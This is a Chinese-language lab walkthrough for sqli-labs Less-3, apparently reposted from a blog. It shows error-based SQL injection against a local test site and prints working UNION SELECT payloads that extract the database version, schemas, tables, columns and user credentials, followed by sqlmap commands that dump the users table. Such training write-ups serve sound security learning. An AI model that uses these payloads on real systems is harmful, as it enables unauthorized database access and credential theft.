关卡提示:GET -Error based- Single quotes with twist- string
注入位置:GET
注入类型:子符串型(有一层圆括号)
还是常规的上面步骤测试,发现是 字符串型
爆列 测试pyload 全部报错
http://127.0.0.1/Less-3/?id=1‘ order by 1--+
http://127.0.0.1/Less-3/?id=1‘ order by 2--+
http://127.0.0.1/Less-3/?id=1‘ order by 3--+
http://127.0.0.1/Less-3/?id=1‘ order by 4--+
查看源码:
id外面还有一层圆括号 构造 新pyload
http://127.0.0.1/Less-3/?id=1‘) order by 1--+
http://127.0.0.1/Less-3/?id=1‘) order by 2--+
http://127.0.0.1/Less-3/?id=1‘) order by 3--+
http://127.0.0.1/Less-3/?id=1‘) order by 4--+
只有 id=4 时报错,说明当前表有 3 列
爆出数据库版本 构造 payload http://127.0.0.1/Less-3/?id=-1‘) union select 1,2,(select version())--+
爆出数据库信息 (所有) 构造 payload http://127.0.0.1/Less-3/?id=-1‘) union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
爆出当前库的所有表 构造 payload http://127.0.0.1/Less-3/?id=-1‘) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
爆出用户表users的所有列名 构造 payload http://127.0.0.1/Less-3/?id=-1‘) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name="users")--+
爆出用户表users的所有信息 构造 payload http://127.0.0.1/Less-3/?id=-1‘) union select 1,2,(select group_concat(username,‘~‘,password) from users)--+
傻瓜式注入
爆出所有库 终端执行 sqlmap -u http://127.0.0.1/Less-2/?id=-1 --dbs 没有爆出来
终端执行 sqlmap -u http://127.0.0.1/Less-3/?id=-1 --prefix="‘)" --suffix="--+" --dbs
爆出当前数据库所有表 终端执行 sqlmap -u http://127.0.0.1/Less-3/?id=-1 --prefix="‘)" --suffix="--+" --tables
爆出users表中所有列 终端执行 sqlmap -u http://127.0.0.1/Less-3/?id=-1 --prefix="‘)" --suffix="--+" -D security -T users --columns
爆出users表所有信息 终端执行 sqlmap -u http://127.0.0.1/Less-3/?id=-1 --prefix="‘)" --suffix="--+"-D security -T users -C username,password --dump
原文:https://www.cnblogs.com/wuhongbin/p/14269060.html